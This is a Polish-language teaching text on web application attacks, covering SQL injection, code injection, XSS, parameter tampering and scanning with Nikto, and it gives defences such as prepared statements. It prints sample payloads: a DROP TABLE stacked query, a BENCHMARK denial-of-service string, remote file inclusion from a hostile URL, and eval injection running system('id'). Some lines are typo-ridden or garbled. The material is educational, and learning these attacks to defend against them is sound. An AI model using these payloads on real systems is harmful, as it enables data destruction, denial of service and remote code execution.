Wstęp SQL Injection

Transkrypt

Wstęp SQL Injection
Wstęp
Jakiś krótki wstęp.
SQL Injection
1
SQL Injection (z ang., dosłownie zastrzyk SQL) – luka w zabezpieczeniach aplikacji internetowych
polegająca na nieodpowiednim filtrowaniu lub niedostatecznym typowaniu i późniejszym wykonaniu danych
przesyłanych w postaci zapytań SQL do bazy danych. Podatne są na niego systemy złożone z warstwy
programistycznej (przykładowo skrypt w PHP, ASP, JSP itp.) dynamicznie generującej zapytania do bazy
danych (MySQL, PostgreSQL itp.). Wynika on zwykle z braku doświadczenia lub wyobraźni programisty.
Formy ataku SQL Injection:
a) niedostateczne filtrowanie danych:
Ten typ ataków opiera się na nieodpowiednim filtrowaniu znaków ucieczki z danych wejściowych, co
pozwala na przekazanie dodatkowych parametrów do zapytania.
Poniższy kod prezentuje ten problem (PHP):
$q = mysql_query("SELECT * FROM uzytkownicy WHERE uzytkownik = '$uzytkownik'");
Gdy użytkownik przekaże jako $uzytkownik wartość „kowalski”, całe zapytanie przyjmie postać:
SELECT * FROM uzytkownicy WHERE uzytkownik = 'kowalski'
i będzie spełniało swoją funkcję. Jednak gdy złośliwy użytkownik przekaże wartość „x' OR '1'='1”, to
całe zapytanie będzie wyglądało:
SELECT * FROM uzytkownicy WHERE uzytkownik = 'x' OR '1'='1'
przez co pobierze z bazy danych wszystkie rekordy zamiast jednego wybranego.
Teoretycznie w ten sposób można przekazać każde zapytanie SQL, włącznie z wykonaniem kilku
zapytań naraz. Jeżeli w powyższym przykładzie użytkownik przekaże „x';DROP TABLE uzytkownicy;
SELECT '1”, to całe zapytanie przybierze postać:
SELECT * FROM uzytkownicy WHERE uzytkownik = 'x';DROP TABLE uzytkownicy; SELECT '1'
co zaowocuje usunięciem tabeli „uzytkownicy”. W praktyce może to być niemożliwe, bo biblioteka
1 źródło: http://pl.wikipedia.org/wiki/SQL_injection
używana do połączenia np. z MySQL w PHP nie pozwala na wykonywanie dwóch zapytań
jednocześnie.
Korzystając z ataku typu SQL Injection można również przeprowadzić atak typu DoS (odmowy
usługi):
x' AND BENCHMARK(9999999,BENCHMARK(999999,BENCHMARK(999999,MD5(NOW()))))=0 OR
'1'='1
W tym przypadku serwer spróbuje obliczyć skrót MD5 dla aktualnego czasu 9999993 =
999997000002999999 (w zaokrągleniu trylion) razy;
b) “ślepy” atak:
O „ślepym” ataku (ang. Blind SQL Injection) mówi się w przypadku wykonywania ataku typu SQL
Injection na stronie, która nie wyświetla komunikatów błędów. W tym przypadku badać można
zmiany na stronie, przykładowo:
SELECT * FROM uzytkownicy WHERE uzytkownik='x' AND 1=2;
Powyższe zapytanie powinno nic nie zwrócić. Inaczej w przypadku wykonania poniższego zapytania:
SELECT * FROM uzytkownicy WHERE uzytkownik='x' OR 1=1;
Powyższe zapytanie powinno zawsze zwrócić jakikolwiek wynik, bowiem 1 jest równe 1. Badając
zmiany zachodzące na stronie można stwierdzić czy w danym miejscu można dokonać ataku.
c) błędy w serwerze SQL.
Zabezpieczenia przed atakiem
a) Zabezpieczanie na poziomie aplikacji
Podstawowym sposobem zabezpieczania przed SQL injection jest niedopuszczenie do nieuprawnionej
zmiany wykonywanego zapytania.
W PHP można to zrobić, poprzez wykonanie na każdym tekstowym parametrze wykorzystywanym do
budowy zapytania wbudowanej funkcji addslashes(), która dodaje backslash przed znakami, takimi
jak ', " czy \, dzięki czemu znaki te nie są traktowane jak znaki specjalne. Dostępne są również
funkcje specyficzne dla poszczególnych silników, takie jak np. oferowana przez serwer MySQL
mysql_real_escape_string(). Jeśli wczytując dane z formularza programista oczekuje wartości
liczbowych, może korzystać z funkcji is_numeric(zmienna), która sprawdza czy zmienna jest
wartością numeryczną. Po sprawdzeniu zmiennej i upewnieniu się, iż jest liczbą, można bezpiecznie
użyć zmiennej w zapytaniu SQL.
Analogicznie do addslashes(), w perlowym DBI istnieje metoda DBI::quote, która, podobnie jak
addslashes() z PHP dodaje znaki backslash przed potencjalnie niebezpiecznymi znakami. Przykład
(zakładając, że $sql jest referencją do obiektu DBI):
$query = $sql->prepare("SELECT * FROM uzytkownicy where name = " . $sql->quote($uzytkownik));
Bezpieczniejszą techniką, niż wyżej wymienione odpowiednie przygotowanie parametrów jest użycie
mechanizmu tzw. „zaślepek”, gdzie zmienne nie są używane bezpośrednio do tworzenia zapytania, a
odpowiednie dane dołączane są do zapytania w momencie jego wykonania (czy to poprzez
wykorzystanie API danego silnika, czy też w ramach warstwy aplikacji poprzez odpowiednie
zacytowanie wszystkich parametrów). Przykład w Perl DBI:
$query = $sql->prepare("SELECT * FROM users WHERE name = ?");
$query->execute($user_name);
Jeżeli parametr zapytania ma być wartością liczbową można go po prostu rzutować na typ liczbowy
lub użyć funkcji konwertujących z ciągu znaków na wartość liczbową.
Techniką utrudniającą wykorzystanie istniejących luk jest zastosowanie paradygmatu security
through obscurity poprzez wyłączenie wyświetlania komunikatów o błędach. Nie uniemożliwi to
ataku, lecz może spowodować, że trudniejsze będzie wykrycie i późniejsze wykorzystanie luki.
b) Zabezpieczenie na poziomie bazy danych
Istnieją również metody zabezpieczenia przed skutkami wykonania błędnych zapytań, które mimo
wszystko dostaną się do bazy.
Udostępnienie użytkownikowi bazy tylko niezbędnych uprawnień nie da całkowitej ochrony, jednak
pozwoli na minimalizację szkód. Przykładowo – niewiele aplikacji potrzebuje uprawnienia do
kasowania tabel z bazy danych. Podobny efekt – czyli zmniejszenie możliwości atakującego –
uzyskać można wyłączając niepotrzebną funkcjonalność na poziomie samego silnika.
Pomocą mogą służyć również procedury składowane, dzięki którym zapytanie budowane jest po
stronie bazy danych i aplikacja nie ma bezpośredniego wpływu na jego postać. Chociaż i w tym
przypadku skonstruowanie ataku nie jest niemożliwe.
Eliminację możliwości wstrzyknięcia kodu SQL, można uzyskać poprzez całkowite wyłączenie
możliwości podawania parametrów jako części zapytania. Jest to działanie analogiczne do
mechanizmu zaślepek po stronie aplikacji, jednak tym razem zastosowane w samym silniku. Nie jest
to jednak ogólnie dostępna cecha systemów zarządzania bazami. W chwili obecnej, możliwość taką
daje silnik H2.
c) Zabezpieczanie na poziomie serwera aplikacji/www
Jest możliwość instalacji dodatkowych modułów do serwera warstwy aplikacyjnej (np. mod_security
do serwera Apache) filtrujących wg zdefiniowanych reguł przychodzące żądania i blokujących te
potencjalnie groźne. Reguły pozwalają na wychwycenie typowych uniwersalnych ataków lub znanych
luk w popularnych aplikacjach. Wadą rozwiązania jest możliwość zablokowania także pożądanych
wywołań (np. w aplikacji do zarządzania bazą danych).
Code Injection
Code Injection jest ogólną nazwą dla wielu rodzajów ataków, które zależą od wstrzykiwanego kodu
interpretowanego przez przeglądarkę. Taki atak może być wykonany przez dodanie ciągu znaków w
pliku coockie lub wartości argumentów w Url.k ten wykoszystuje braki w dokładnym sprawdzaniu
wejścia/wyjścia poprawności danych, takich jak:
klasa dozwolonych znaków,
format danych,
ilość oczekiwanych danych,
dla danych numerycznych – ich wartości.
Atak code injection (wstrzyknięcia kodu) lub command injection (wstawienia polecenia) są używane
do realizacji podobnych celów. Koncepcja wstrzyknięcia kodu polega na dodaniu złośliwego kodu do
danej aplikacji, który następnie zostanie wykonany. Tak dodany kod jest częścią samej aplikacji. A
więc nie jest to kod zewnętrzny, który jest wykonywany, jakby to miało miejsce w przypadku
Command Injection.
Przykład 1
Jeśli dana witryna używa w kodzie funkcji include(), która działa na zmiennych przesyłanych metodą
GET, oraz nie ma ich walidacji, wówczas atakujący może spróbować wykonać inny kod niż autor kodu
miał na myśli.
URL poniżej przedstawia informacje na temat kontaktu z firmą “Firma::
http://firma.com/index.php?page=contact.php
Poniżej zmieniamy wartość zmiennej $page na url prowadzący do złośliwego skryptu atak.php.
Skrypt atak.php może zawierać na przykład funkcję phpinfo(), co sprawi, że atakujący pobierze
informacje na temat konfiugracji środowiska, w którym działa usługa www.
http://firma.com/index.php?page=http://zlastrona.pl/atak.php
Przykład 2
Kiedy programista używa funkcji eval() i operuje na danych, to dane te mogą być zmienione przez
atakującego.
Poniższy przykład pokazuje, jak korzystać z funkcji eval() :
$ zmienna = "nazwa_zmiennej";
$ x = $ _GET ['param'];
eval ("\ $ zmienna = \ $ x;");
Powyższy kod może być użyty do wykonania ataku wstrzyknięcia kodu, przykład:
Przekazując URI / index.php arg = 1; phpinfo ()
Przy jednoczesnym wykorzystaniu błędów takich jak te, atakujący nie musi ograniczać się tylko do
ataku kodu. Atakujący może skusić się na użycie techniki wtrysku poleceń, na przykład.
/index.php?arg=1; system('id')
Cross-Site Scripting2
Cross-site scripting (XSS) – sposób ataku na serwis WWW polegający na osadzeniu w treści
atakowanej strony kodu (zazwyczaj JavaScript), który wyświetlony innym użytkownikom może
doprowadzić do wykonania przez nich niepożądanych akcji. Skrypt umieszczony w zaatakowanej
stronie może obejść niektóre mechanizmy kontroli dostępu do danych użytkownika.
Mechanizm działania
Przeglądarki internetowe udostępniają skryptom jedynie te obiekty, które pochodzą z tego samego
źródła, co strona, w której kontekście dany skrypt się wykonuje. Posługują się przy tym zasadą
tożsamego pochodzenia (ang. same origin policy), która zezwala na dostęp do zasobów stron,
których adres wyróżnia się takim samym protokołem, nazwą domeny serwera i numerem portu.
Poniższa tabela podaje kilka przykładów stron wraz z informacją, czy ich pochodzenie jest zgodne z
adresem "http://www.example.com/dir/page.html".
2 źródło: http://pl.wikipedia.org/wiki/Cross-site_scripting
Adres
http://www.example.com/dir2/other.html
http://www.example.com/dir/inner/other.html
https://www.example.com/dir2/other.html
http://en.example.com/dir2/other.html
http://example.com/dir2/other.html
http://www.example.com:81/dir2/other.html
Zgodny
tak
tak
nie
nie
nie
nie
Komentarz
inny
inny
inny
inny
protokół
serwer
serwer
port
Obostrzenia w dostępie są szczególnie istotne w przypadku ciasteczek, które bardzo często
wykorzystywane są do utrwalenia uwierzytelnienia. Jeśli kod napastnika znajdzie się w treści
atakowanego serwisu, posiądzie nie tylko możliwość zmodyfikowania wyglądu tej strony, ale również
pozyskania i przesłania (patrz XMLHTTP) innym potencjalnie istotnych danych. Gdyby ten sam kod
został umieszczony na innej stronie, przeglądarka ofiary odmówiłaby mu dostępu do zasobów
związanych z atakowaną witryną.
Okoliczności występowania
Aby atak XSS był możliwy witryna musi prezentować treść przekazaną od użytkownika jako kod
HTML serwisu, bez uprzedniej konwersji tekstu na HTML (poprzez zamianę specjalnych znaków
HTML na encje). Ochrona przed XSS poprzez samą weryfikację i filtrowanie niebezpiecznych danych
jest bardzo trudna[1].
Jeśli treść zawierająca spreparowany skrypt prezentowana jest wyłącznie w odpowiedzi na to
konkretne zapytanie, podatność określana jest jako non-persistent XSS i z reguły może być
każdorazowo użyta tylko wobec pojedynczych ofiar. Jeśli serwis zapamiętuje przesłaną treść i
prezentuje ją kolejnym odwiedzającym (np. na forum internetowym), atak określany jest jako
persistent XSS i jego jednorazowe wykorzystanie może posłużyć do naruszenia bezpieczeństwa kont
tysięcy użytkowników[2].
Ze względu na szeregową strukturę dokumentów HTML i trudność oddzielenia kodu JavaScript od
znaczników kontrolujących prezentację treści, a także ze względu na wady przewidzianych przez
JavaScript mechanizmów zabezpieczeń, podatności tego typu są niezwykle częstym problemem we
współczesnych dynamicznych witrynach WWW, zwłaszcza w tak zwanych stronach Web 2.0, a ich
wyeliminowanie wymaga dużej staranności.
W rzadkich sytuacjach, gdy serwis WWW nie umożliwia użytkownikom dodawania treści,
wykorzystanie luki typu SQL Injection może być skuteczną metodą przeprowadzenia ataku persistent
XSS. Umożliwia to zmianę danych zapisanych w bazie danych, a w konsekwencji przyczynia się do
rozprzestrzenienia złowrogiego skryptu na wszystkich użytkowników strony.
Parameter Tampering
Atak Parameter Tampering opiera się na manipulacji parametrów wymienianych między
klientem a serwerem, w celu zmiany danych aplikacji, takich jak poświadczenia
użytkowników i ich uprawnieniami, cen i ilości produktów, itp. Zwykle te informacje są
przechowywane w plikach cookie, ukrytych polach formularzy i wykorzystywane są do
zwiększania funkcjonalności aplikacji i kontroli.
Ten atak może być wykonany przez złośliwego użytkownika, który chce wykorzystać
aplikację dla własnych korzyści lub zaatakować z perspektywy trzeciej osoby przy użyciu
Man-in-the-middle.
Powodzenie ataku zależy od sprawdzania poprawności logiki mechanizmu, a jego
eksploatacja może spowodować inne konsekwencje, w tym XSS, SQL Injection, włączenie
pliku, i ataków ujawnienia ścieżki.
Krótki film w wersji anglojęzycznej:
http://www.youtube.com/watch?v=XV3qIgd0znc
Wykrycie podatności Web Serwera
Nikto to otwarty (Open Source – GPL) skaner umożliwiający automatyczne wykrywanie luk w
zabezpieczeniach serwerów Web. Nikto jest w stanie wykryć rodzaj serwera Web, ocenić jego
aktualność oraz podatność na tysiące znanych zagrożeń. Z pewnością warto za pomocą tego
narzędzia przeskanować własny serwer WWW i przeanalizować dokładnie wyniki!
O tym doskonałym narzędziu, niezwykle przydatnym do testowania bezpieczeństwa własnych
serwerów, warto przypomnieć przy okazji niedawnej premiery wersji 2.1.0. Program w najnowszej
wersji można pobrać pod adresem http://www.cirt.net/nikto2 .
Tutaj ( http://cirt.net/nikto2-docs/ ) natomiast znajduje się obszerna instrukcja. Skaner ten,
prekonfigurowany i gotowy do pracy znajdziemy również w przeznaczonej do wykonywania
zaawansowanych testów penetracyjnych dystrybucji BackTrack Linux.
Tyle tytułem wstępu, teraz zobaczmy Nikto w akcji… Wystarczy tylko uruchomić (zbootować)
komputer z płyty BackTrack Linux, a następnie uruchomić wiersz poleceń. Za pomocą polecenia
cd /pentest/web/nikto przechodzimy do katalogu zawierającego nasz skaner i poleceniem nikto.pl –h
adres_ip_serwera uruchamiamy domyślne skanowanie (poniżej przykładowy wynik skanowania).
Na powyższym zrzucie ekranu można zauważyć, że Nikto wykrył w docelowym systemie szereg luk:
•
nieaktualne oprogramowanie (Apache, PHP),
•
podatność na XSS,
•
podatność na HTML injection i inne ataki.
Nikto, nie ogranicza się wyłącznie do wykrycia zagrożeń. Otrzymujemy również zalecenia (takie
jak zalecenia przeprowadzenia aktualizacji oprogramowania) oraz odnośniki do stron opisujących
wykryte zagrożenia.
Wykrycie podatności przepełnienia bufora
https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf [str.264 - ]
http://www.bordeux.net/Programowanie/PHP/Memcached_-_wydajne_buforowanie_danych/#
http://www.yiiframework.com/doc/guide/1.1/pl/caching.data

Podobne dokumenty